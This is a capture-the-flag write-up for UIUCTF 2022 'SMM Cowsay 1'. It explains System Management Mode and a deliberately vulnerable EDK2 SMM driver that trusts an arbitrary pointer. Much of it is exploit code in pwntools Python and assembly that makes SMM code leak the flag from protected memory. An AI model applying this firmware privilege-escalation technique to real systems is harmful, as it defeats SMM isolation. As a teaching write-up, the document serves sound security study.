# SMM Cowsay 1
**Author**: [@mebeim](https://twitter.com/mebeim) - **Full exploit**: [expl_smm_cowasy_1.py][expl1]
## Background on System Management Mode
[System Management Mode][wiki-smm] is documented in [Intel SDM][intel-sdm],Volume 3C, Chapter 30. It is the operating mode with highest privilege, andsometimes referred to as "ring -2". This mode has higher privilege than anOS/kernel (ring 0) and even an hypervisor (ring -1). It can only be enteredthrough a System Management Interrupt (SMI), it has a separate address spacecompletely invisible to other operating modes, and full access to all physicalmemory, MSRs, control registers etc.
A special region of physical memory called SMRAM is the home of the SMI handlercode and also contains a save state area where the CPU state (most importantlythe values of all registers) is saved to and restored from when entering/exitingSMM.
Upon receing an SMI and entering SMM the SMI handler is executed. It initiallyruns code in a weird real-mode-on-steroids operating mode, but can switch to32-bit protected mode, enable paging (and PAE), and even switch to 64-bit longmode (and use 5-level paging). After doing what's needed, the SMI handler canexit SMM with [the `RSM` instruction][x86-rsm], which restores the CPU statefrom the save state area in SMRAM.
SMIs can be triggered by software using IO port `0xB2`, and this functionalitycan be used to implement some controlled mechanism of communication between SMMand non-SMM code.
This is more or less enough beckground on SMM to understand what's going on, andI will explain the rest along the way. In any case, you can always check themanuals I link. Now let's get into the challenges!
---
## To the challenge
The challenge description states:
> One of our engineers thought it would be a good idea to write Cowsay inside> SMM. Then someone outside read out the trade secret (a.k.a. flag) stored at> physical address 0x44440000, and since it could only be read from SMM, that> can only mean one thing: it... was a horrible idea.
The goal of the challenge seems simple enough: read the flag which is atphysical address `0x44440000` *somehow*.
The files we are given contain:
- The built challenge binaries together with a `qemu-system-x86_64` binary and a  startup script that supplies the needed arguments to run the challenge  locally.- Thee source code of the challenge as a series of patches to [EDK2][gh-edk2]  (the de-facto standard UEFI implementation) and [QEMU][gh-qemu], along with a  `Dockerfile` to apply them and build everything.- EDK2 build artifacts (i.e. binaries with useful debug symbols) of the build  done for the challenge running remotely.
Running the challenge, we are greeted with the following message:
```UEFI Interactive Shell v2.2EDK IIUEFI v2.70 (EDK II, 0x00010000)Shell> binexec ____________________________________________________________________/ Welcome to binexec!                                                \| Type some shellcode in hex and I'll run it!                        ||                                                                    || Type the word 'done' on a seperate line and press enter to execute |\ Type 'exit' on a seperate line and press enter to quit the program / --------------------------------------------------------------------                    \   ^__^                     \  (oo)\_______                        (__)\       )\/\                            ||----w |                            ||     ||
Address of SystemTable: 0x00000000069EE018Address where I'm gonna run your code: 0x000000000517D100```
## What are we dealing with?
### EDK2 patches
The EDK2 patch `0003-SmmCowsay-Vulnerable-Cowsay.patch` implements a UEFI SMMdriver called `SmmCowsay.efi`: this driver will run in SMM, and registers anhandler (through [the `SmiHandlerRegister` function][edk2-SmiHandlerRegister])to be executed in SMM that prints text much like the [cowsay][man-cowsay] Linuxcommand does:
```c  Status = gSmst->SmiHandlerRegister (                    SmmCowsayHandler,                    &gEfiSmmCowsayCommunicationGuid,                    &DispatchHandle                    );```
When a SMI happens, the SMI handler registered by EDK2 goes through a linkedlist of registered handlers and chooses the appropriate one to run.
The next patch `0004-Add-UEFI-Binexec.patch` implements a normal UEFI drivercalled `Binexec.efi` which will interact both with us (through consoleinput/output) and with the `SmmCowsay.efi` driver to print the greeting bannerwe see above when running challenge.
In order to communicate with the `SmmCowsay.efi` driver, `Binexec.efi` sends a"message" through[the `->Communicate()` method][edk2-SmmCommunicationCommunicate] provided by[the `EFI_SMM_COMMUNICATION_PROTOCOL` struct][edk2-EFI_SMM_COMMUNICATION_PROTOCOL]:
```c    mSmmCommunication->Communicate(        mSmmCommunication, // "THIS" pointer        Buffer,            // Pointer to message of type EFI_SMM_COMMUNICATE_HEADER        NULL    );```
This function [copies the message][edk2-copy-msg] in a global variable andtriggers a software SMI to handle it. The message includes the GUID of the SMMhandler we want to communicate with, which is searched for in the linked list ofregistered handlers when entering SMM.
The `Binexec.efi` driver will simply run in a loop asking us for some code inhexadecimal form, copying it into an RWX memory area, and then jumping into it(saving/restoring registers with an assembly wrapper). This means that we havethe ability to run arbitrary code inside an UEFI driver, which runs inSupervisor Mode (a.k.a. ring 0).
### QEMU patch
The QEMU patch implements a custom MMIO device that simply reads a `region4`file on the host machine and creates an MMIO memory region starting at physicaladdress `0x44440000` of size `0x1000` holding the content of this file. Thismeans that accessing physical memory at address `0x44440000` will invoke theQEMU device read/write operations (`MemoryRegionOps`), which will decide how tohandle the memory read/write.
The read operation handler (`uiuctfmmio_region4_read_with_attrs()`) performs acheck ensuring that the read has[the `.secure` flag set in the `MemTxAttrs` structure][qemu-memtxattrs] passedto the function, meaning that the read was issued from SMM. If this is not thecase, a fake flag is returned instead:
```cstatic MemTxResult uiuctfmmio_region4_read_with_attrs(    void *opaque, hwaddr addr, uint64_t *val, unsigned size, MemTxAttrs attrs){    if (!attrs.secure)        uiuctfmmio_do_read(addr, val, size, nice_try_msg, nice_try_len);    else        uiuctfmmio_do_read(addr, val, size, region4_msg, region4_len);    return MEMTX_OK;}```
### EFI System Table
We are also given the address of a `SystemTable` and the address where ourshellcode will copied (and ran). The [UEFI Specification][uefi-spec], on which Iprobably spent more time than needed, contains all the information we need tounderstand what this is about.
This `SystemTable` is the [*EFI System Table*][edk2-SystemTable], which is astrucure containing all the information needed to do literally *anything* in anUEFI driver. It holds a bunch of pointers to other structures, which in termhold another bunch of pointers to API methods, configuration variables, and soon.
What we are interested in for now is the `BootServices` field of the EFI SystemTable, which holds a pointer to the *EFI Boot Services Table* (see chapter 4.4of the [UEFI Spec v2.9][uefi-spec-pdf]): another table holding a bunch of usefulfunction pointers for different UEFI APIs.
## Let's run some UEFI shellcode
*Ok, technically speaking it's not shellcode if it doesn't spawn a shell... butbear with me on the terminology here :').* We can test the functionality of the`Binexec` driver by assembling and running a simple `mov eax, 0xdeadbeef`. I amusing [pwntools][gh-pwntools] to quickly assemble the code from a shell.
```$ pwn asm -c amd64 'mov eax, 0xdeadbeef'b8efbeadde----- snip -----
b8efbeaddedoneRunning...RAX: 0x00000000DEADBEEF RBX: 0x00000000069EE018 RCX: 0x0000000000000000RDX: 0x000000000517CA1C RSI: 0x000000000517D100 RDI: 0x0000000000000005RBP: 0x000000000000000F R08: 0x0000000000000001 R09: 0x000000000517CA2CR10: 0x0000000000000000 R11: 0x000000000517BFA6 R12: 0x0000000005508998R13: 0x0000000000000000 R14: 0x0000000006F9C420 R15: 0x0000000006F9C428Done! Type more code```
The driver works as intended and we also get a nice register dump after theshellcode finishes execution... well easy! Let's try to read the flag into aregister then:
```$ pwn asm -c amd64 'mov rax, qword ptr [0x44440000]; mov rbx, qword ptr [0x44440008]'488b042500004444488b1c2508004444----- snip -----
488b042500004444488b1c2508004444doneRunning...RAX: 0x6E7B667463756975 RBX: 0x2179727420656369 RCX: 0x0000000000000000...----- snip -----
$ python3>>> (0x6E7B667463756975).to_bytes(8, "little")b'uiuctf{n'>>> (0x2179727420656369).to_bytes(8, "little")b'ice try!'```
Ok, the QEMU patch works as expected: the MMIO driver saw that we are notreading memory from System Management Mode and gave us the fake flag. Eventhough we do have access to physical memory, we still cannot read the flag byrunning code in the `Binexec.efi` driver. We need to read it from SystemManagement Mode.
## The vulnerability
Looking at the source code in the patch implementing `Binexec.efi`, we can seehow the communication with `SmmCowsay.efi` works in order to print the greetingbanner:
```cVOIDCowsay (    IN CONST CHAR16 *Message    ){    EFI_SMM_COMMUNICATE_HEADER *Buffer;
    Buffer = AllocateRuntimeZeroPool(sizeof(*Buffer) + sizeof(CHAR16 *));    if (!Buffer)        return;
    Buffer->HeaderGuid = gEfiSmmCowsayCommunicationGuid;    Buffer->MessageLength = sizeof(CHAR16 *);    *(CONST CHAR16 **)&Buffer->Data = Message;
    mSmmCommunication->Communicate(        mSmmCommunication,        Buffer,        NULL    );
    FreePool(Buffer);}```
As already said above, normal UEFI drivers can communicate through this"SmmCommunication" protocol with SMM UEFI drivers that have an appropriatehandler registered, and data is passed through a pointer to a`EFI_SMM_COMMUNICATE_HEADER` structure:
```ctypedef struct {  EFI_GUID HeaderGuid;  UINTN MessageLength;  UINT8 Data[ANYSIZE_ARRAY];} EFI_SMM_COMMUNICATE_HEADER;```
This simple structure should contain the GUID of the SMM driver we want tocommunicate with (in this case the GUID registered by `SmmCowsay`), a messagelength, and a flexible array member of `MessageLength` bytes containing theactual message.
The imporatant thing to notice here is this line:
```c    *(CONST CHAR16 **)&Buffer->Data = Message;```
In this case, the message being sent is simply a pointer, which is copied intothe `->Data` array member *as is*. In other words, `Binexec.efi` sends a pointerto the string to print to `SmmCowsay.efi` through`mSmmCommunication->Communicate`. If we take a look at `SmmCowsay.efi` handlesthe pointer, we can see that it isn't treated in any special way. It is simplypassed as is to the printing function:
```cEFI_STATUSEFIAPISmmCowsayHandler (    IN EFI_HANDLE  DispatchHandle,    IN CONST VOID  *Context         OPTIONAL,    IN OUT VOID    *CommBuffer      OPTIONAL,    IN OUT UINTN   *CommBufferSize  OPTIONAL    ){    DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Enter\n"));
    if (!CommBuffer || !CommBufferSize || *CommBufferSize < sizeof(CHAR16 *))        return EFI_SUCCESS;
    Cowsay(*(CONST CHAR16 **)CommBuffer); // <== pointer passed *as is* here
    DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Exit\n"));
    return EFI_SUCCESS;}```
This means that we can pass an arbitrary pointer to the `SmmCowsay` driver, andit will happily read memory at the given address for us, displaying it on theconsole as if it was a NUL-terminated `CHAR16` string. If we build an`EFI_SMM_COMMUNICATE_HEADER` with `->Data` containing the value `0x44440000` andpass it to the SMM driver through `mSmmCommunication->Communicate`, we can getit to print the flag for us!
But how do we get ahold of this "SmmCommunication" protocol to call its`->Communicate()` method? Taking a look at the code in `Binexec.efi`,`mSmmCommunication` is simply a pointer obtained passing the right GUID to`BootServices->LocateProtocol()`, like this:
```c    Status = gBS->LocateProtocol(        &gEfiSmmCommunicationProtocolGuid,        NULL,        (VOID **)&mSmmCommunication        );```
## Exploitation
All we need to do in order to get the flag is simply replicate exactly what the`Binexec` driver is doing, passing a different pointer to `SmmCowsay` and let itprint the memory content to the console for us. In theory we could do everythingwith a single piece of assembly, but since we have the ability to send multiplepieces of code in a loop and observe the results, let's split this into simplersteps so that we can check if things are OK along the way.
### Step 1: get ahold of BootServices->LocateProtocol
The `LocateProtocol` function is provided in the `BootServices` table (`gBS`),of which we actually have a pointer in the `SystemTable`. We know the address of`SystemTable` since it is printed to the console for us, though to be pedanticthis does not really matter since it is a fixed address and there isn't any kindof address randomization going on.
We need to get `SystemTable->BootServices->LocateProtocol`. In theory alladdresses are fixed in our working environment (both locally and remote) due tono ASLR being applied by EDK2, so we *could* just get the address of anyfunction we need and do direct calls, but let's do it the right way because (1)we'll actually learn something, (2) we'll nonethless need it for the nextchallenges and most importantly (3) *I did not think about it originally and Ialready have the code to do it anyway :')*.
We can get `LocateProtocol` pretty easily with a couple of MOV instructions. Thedebug artifacts provided with the challenge files also include all the structuredefinitions we need in the debug symbols, so we can check the DWARF info in`handout/edk2_artifacts/Binexec.debug` to get the offsets of the fields. I'lluse [the `pahole` utility][man-pahole] (from the `dwarves` Debian package) forthis:
```c$ pahole -C EFI_SYSTEM_TABLE handout/edk2_artifacts/Binexec.debug
typedef struct {    EFI_TABLE_HEADER           Hdr;                  /*     0    24 */    CHAR16 *                   FirmwareVendor;       /*    24     8 */    UINT32                     FirmwareRevision;     /*    32     4 */
    /* XXX 4 bytes hole, try to pack */
    EFI_HANDLE                 ConsoleInHandle;      /*    40     8 */    EFI_SIMPLE_TEXT_INPUT_PROTOCOL * ConIn;          /*    48     8 */    EFI_HANDLE                 ConsoleOutHandle;     /*    56     8 */    /* --- cacheline 1 boundary (64 bytes) --- */    EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL * ConOut;        /*    64     8 */    EFI_HANDLE                 StandardErrorHandle;  /*    72     8 */    EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL * StdErr;        /*    80     8 */    EFI_RUNTIME_SERVICES *     RuntimeServices;      /*    88     8 */    EFI_BOOT_SERVICES *        BootServices;         /*    96     8 */    UINTN                      NumberOfTableEntries; /*   104     8 */    EFI_CONFIGURATION_TABLE *  ConfigurationTable;   /*   112     8 */
    /* size: 120, cachelines: 2, members: 13 */    /* sum members: 116, holes: 1, sum holes: 4 */    /* last cacheline: 56 bytes */} EFI_SYSTEM_TABLE;```
This tells us that `BootServices` is at offset 96 in `SystemTable` (type`EFI_SYSTEM_TABLE`). Likewise we can look at `EFI_BOOT_SERVICES` to see that`LocateProtocol` is at offset `320` in`BootServices`.
Setting things up with Python and pwtools, the code needed is as follows:
```python# Little hack needed to disable pwntools from taking over the terminal with# ncurses and breaking the output if we do conn.interactive() since the remote# program outputs \r\n for newlines.import osos.environ['PWNLIB_NOTERM'] = '1'
from pwn import *
context(arch='amd64')
os.chdir('handout/run')conn = process('./run.sh')os.chdir('../..')
conn.recvuntil(b'Address of SystemTable: ')system_table = int(conn.recvline(), 16)
log.info('SystemTable @ 0x%x', system_table)
conn.recvline()
code = asm(f'''    mov rax, {system_table}    mov rax, qword ptr [rax + 96]  /* SystemTable->BootServices */    mov rbx, qword ptr [rax + 64]  /* BootServices->AllocatePool */    mov rcx, qword ptr [rax + 320] /* BootServices->LocateProtocol */''')conn.sendline(code.hex().encode() + b'\ndone')
conn.recvuntil(b'RBX: 0x')AllocatePool = int(conn.recvn(16), 16) # useful for laterconn.recvuntil(b'RCX: 0x')LocateProtocol = int(conn.recvn(16), 16)
log.success('BootServices->AllocatePool   @ 0x%x', AllocatePool)log.success('BootServices->LocateProtocol @ 0x%x', LocateProtocol)```
### Step 2: get ahold of mSmmCommunication to talk to SmmCowsay
In order to locate `mSmmCommunication` we need to pass a pointer to the protocolGUID to `LocateProtocol`, and a pointer to the a location where the resultingpointer should be stored. We already have a RWX area of memory available (theone where our shellcode is written), so let's use that. We normally wouldn't,but the patch `0005-PiSmmCpuDxeSmm-Open-up-all-the-page-table-access-res.patch`to EDK2 sets all entries of the page table to RWX so we're good.
From disassembling any of the UEFI drivers, we can see that the callingconvention is [Microsoft x64][x64-call], so arguments in RCX, RDX, R8, R9, thenstack.
```python# Taken from EDK2 source code (or opening Binexec.efi in a disassembler)gEfiSmmCommunicationProtocolGuid = 0x32c3c5ac65db949d4cbd9dc6c68ed8e2
code = asm(f'''    /* LocateProtocol(gEfiSmmCommunicationProtocolGuid, NULL, &protocol) */    lea rcx, qword ptr [rip + guid]    xor rdx, rdx    lea r8, qword ptr [rip + protocol]    mov rax, {LocateProtocol}    call rax
    test rax, rax    jnz fail
    mov rax, qword ptr [rip + protocol] /* mSmmCommunication */    mov rbx, qword ptr [rax]            /* mSmmCommunication->Communicate */    ret
fail:    ud2
guid:    .octa {gEfiSmmCommunicationProtocolGuid}protocol:''')conn.sendline(code.hex().encode() + b'\ndone')
conn.recvuntil(b'RAX: 0x')mSmmCommunication = int(conn.recvn(16), 16)conn.recvuntil(b'RBX: 0x')Communicate = int(conn.recvn(16), 16)
log.success('mSmmCommunication              @ 0x%x', mSmmCommunication)log.success('mSmmCommunication->Communicate @ 0x%x', Communicate)```
### Step 3: kindly ask SmmCowsay to print the flag for us
We can now craft a message for `SmmCowsay` containing a pointer to the flag andlet it print it for us by calling `mSmmCommunication->Communicate` with theright arguments. We can see the layout of `EFI_SMM_COMMUNICATE_HEADER` using`pahole` again, inspecting the UEFI Specification PDF, or looking at EDK2 sourcecode.
```python# Taken from 0003-SmmCowsay-Vulnerable-Cowsay.patchgEfiSmmCowsayCommunicationGuid = 0xf79265547535a8b54d102c839a75cf12
code = asm(f'''    /* Communicate(mSmmCommunication, &buffer, NULL) */    mov rcx, {mSmmCommunication}    lea rdx, qword ptr [rip + buffer]    xor r8, r8    mov rax, {Communicate}    call rax
    test rax, rax    jnz fail    ret
fail:    ud2
buffer:    .octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */    .quad 8                                /* Buffer->MessageLength */    .quad 0x44440000                       /* Buffer->Data */''')conn.sendline(code.hex().encode() + b'\ndone')
# Check output to see if things workconn.interactive()```
Wait a second though. This code does not work!
```Running...!!!! X64 Exception Type - 06(#UD - Invalid Opcode)  CPU Apic ID - 00000000 !!!!RIP  - 000000000517D120, CS  - 0000000000000038, RFLAGS - 0000000000000286RAX  - 800000000000000F, RCX - 00000000000000B2, RDX - 00000000000000B2...```
We hit the `ud2` in the `fail:` label and got a nice register dump, because`Communicate` returned `0x800000000000000F`: which according to the UEFI Spec(Appendix D - Status Codes) means `EFI_ACCESS_DENIED`.
Indeed there is a gotcha: even though the challenge author explicitly added anEDK2 patch to mark all all memory as RWX in the SMM page table(`0005-PiSmmCpuDxeSmm-Open-up-all-the-page-table-access-res.patch`), there isstill a sanity check being performed on the SMM communication buffer,[as we can see in EDK2 source code][edk2-buffer-check], which errors out if thebuffer resides in untrusted or invalid memory regions (like the one used for ourshellcode). *Thanks to YiFei for pointing this out since I had not actuallyfigured out the real reason behind the "access denied" when working on thechallenge*.
In fact, looking at the code for `Binexec.efi` above, in the `Cowsay()` functionthe `EFI_SMM_COMMUNICATE_HEADER` is actually allocated using the libraryfunction `AllocateRuntimeZeroPool()`. We don't have a nice pointer to thisfunction, but can allocate memory using either `BootServices->AllocatePool()` or`BootServices->AllocatePages()` specifying the "type" of memory we want toallocate. The `EFI_MEMORY_TYPE` we want is[the type `EfiRuntimeServicesData`][edk2-EfiRuntimeServicesData], which will beaccessible from SMM.
```pythonEfiRuntimeServicesData = 6
code = asm(f'''    /* AllocatePool(EfiRuntimeServicesData, 0x1000, &buffer) */    mov rcx, {EfiRuntimeServicesData}    mov rdx, 0x1000    lea r8, qword ptr [rip + buffer]    mov rax, {AllocatePool}    call rax
    test rax, rax    jnz fail
    mov rax, qword ptr [rip + buffer]    ret
fail:    ud2
buffer:''')conn.sendline(code.hex().encode() + b'\ndone')
conn.recvuntil(b'RAX: 0x')buffer = int(conn.recvn(16), 16)log.success('Allocated buffer @ 0x%x', buffer)
code = asm(f'''    /* Copy data into allocated buffer */    lea rsi, qword ptr [rip + data]    mov rdi, {buffer}    mov rcx, 0x20    cld    rep movsb
    /* Communicate(mSmmCommunication, buffer, NULL) */    mov rcx, {mSmmCommunication}    mov rdx, {buffer}    xor r8, r8    mov rax, {Communicate}    call rax
    test rax, rax    jnz fail    ret
fail:    ud2
data:    .octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */    .quad 8                                /* Buffer->MessageLength */    .quad 0x44440000                       /* Buffer->Data */''')
conn.sendline(code.hex().encode())conn.sendline(b'done')```
Output:
```Running... __________________________< uut{hnrn_eoi_nufcet3201} --------------------------          \   ^__^           \  (oo)\_______              (__)\       )\/\                  ||----w |                  ||     ||```
Remember that we are dealing with UTF16 strings? The print routine in`SmmCowsay` seems to just skip half the characters for this reason. We cansimply print again passing `0x44440001` as pointer to get the second half of theflag:
```Running... _________________________< icfwe_igzr_sisfiin_55e8 > -------------------------          \   ^__^           \  (oo)\_______              (__)\       )\/\                  ||----w |                  ||     ||```
Reassembling it gives us: `uiuctf{when_ring_zero_is_insufficient_35250e18}`.
[smm1]: #smm-cowsay-1[smm2]: #smm-cowsay-2[smm3]: #smm-cowsay-3[expl1]: https://github.com/TowerofHanoi/towerofhanoi.github.io/blob/master/writeups_files/uiuctf-2022_smm-cowsay/expl_smm_cowasy_1.py[expl2]: https://github.com/TowerofHanoi/towerofhanoi.github.io/blob/master/writeups_files/uiuctf-2022_smm-cowsay/expl_smm_cowasy_2.py[expl3]: https://github.com/TowerofHanoi/towerofhanoi.github.io/blob/master/writeups_files/uiuctf-2022_smm-cowsay/expl_smm_cowasy_3.py
[tweet]:                               https://twitter.com/MeBeiM/status/1554849894237609985[uiuctf]:                              https://ctftime.org/event/1600/[uiuctf-archive]:                      https://2022.uiuc.tf/challenges[author]:                              https://github.com/zhuyifei1999[wiki-smm]:                            https://en.wikipedia.org/wiki/System_Management_Mode[intel-sdm]:                           https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html[uefi-spec]:                           https://uefi.org/specifications[uefi-spec-pdf]:                       https://uefi.org/sites/default/files/resources/UEFI_Spec_2_9_2021_03_18.pdf[man-cowsay]:                          https://manned.org/cowsay.1[man-pahole]:                          https://manned.org/pahole.1[x64-call]:                            https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170[x86-rsm]:                             https://www.felixcloutier.com/x86/rsm[x86-rdrand]:                          https://www.felixcloutier.com/x86/rdrand[gh-pwntools]:                         https://github.com/Gallopsled/pwntools[gh-ropgadget]:                        https://github.com/JonathanSalwan/ROPgadget[gh-edk2]:                             https://github.com/tianocore/edk2[gh-edk2-securityex]:                  https://github.com/jyao1/SecurityEx[gh-qemu]:                             https://github.com/qemu/qemu[qemu-memtxattrs]:                     https://github.com/qemu/qemu/blob/v7.0.0/include/exec/memattrs.h#L35[edk2-SystemTable]:                    https://edk2-docs.gitbook.io/edk-ii-uefi-driver-writer-s-guide/3_foundation/33_uefi_system_table[edk2-SmiHandlerRegister]:             https://github.com/tianocore/edk2/blob/7c0ad2c33810ead45b7919f8f8d0e282dae52e71/MdeModulePkg/Core/PiSmmCore/Smi.c#L213[edk2-EfiRuntimeServicesData]:         https://github.com/tianocore/edk2/blob/0ecdcb6142037dd1cdd08660a2349960bcf0270a/BaseTools/Source/C/Include/Common/UefiMultiPhase.h#L25[edk2-SmmCommunicationCommunicate]:    https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdeModulePkg/Core/PiSmmCore/PiSmmIpl.c#L110[edk2-EFI_SMM_COMMUNICATION_PROTOCOL]: https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdeModulePkg/Core/PiSmmCore/PiSmmIpl.c#L267[edk2-copy-msg]:                       https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdeModulePkg/Core/PiSmmCore/PiSmmIpl.c#L547[edk2-smi-entry]:                      https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/UefiCpuPkg/PiSmmCpuDxeSmm/X64/SmiEntry.nasm#L89[edk2-gadget]:                         https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdePkg/Library/BaseLib/X64/LongJump.nasm#L54[edk2-MdePkg]:                         https://github.com/tianocore/edk2/blob/1774a44ad91d01294bace32b0060ce26da2f0140/MdePkg/MdePkg.dec[edk2-buffer-check]:                   https://github.com/tianocore/edk2/blob/7c0ad2c33810ead45b7919f8f8d0e282dae52e71/MdePkg/Library/SmmMemLib/SmmMemLib.c#L163[edk2-gdt]:                            https://github.com/tianocore/edk2/blob/2812668bfc121ee792cf3302195176ef4a2ad0bc/UefiCpuPkg/PiSmmCpuDxeSmm/X64/SmiException.nasm#L31
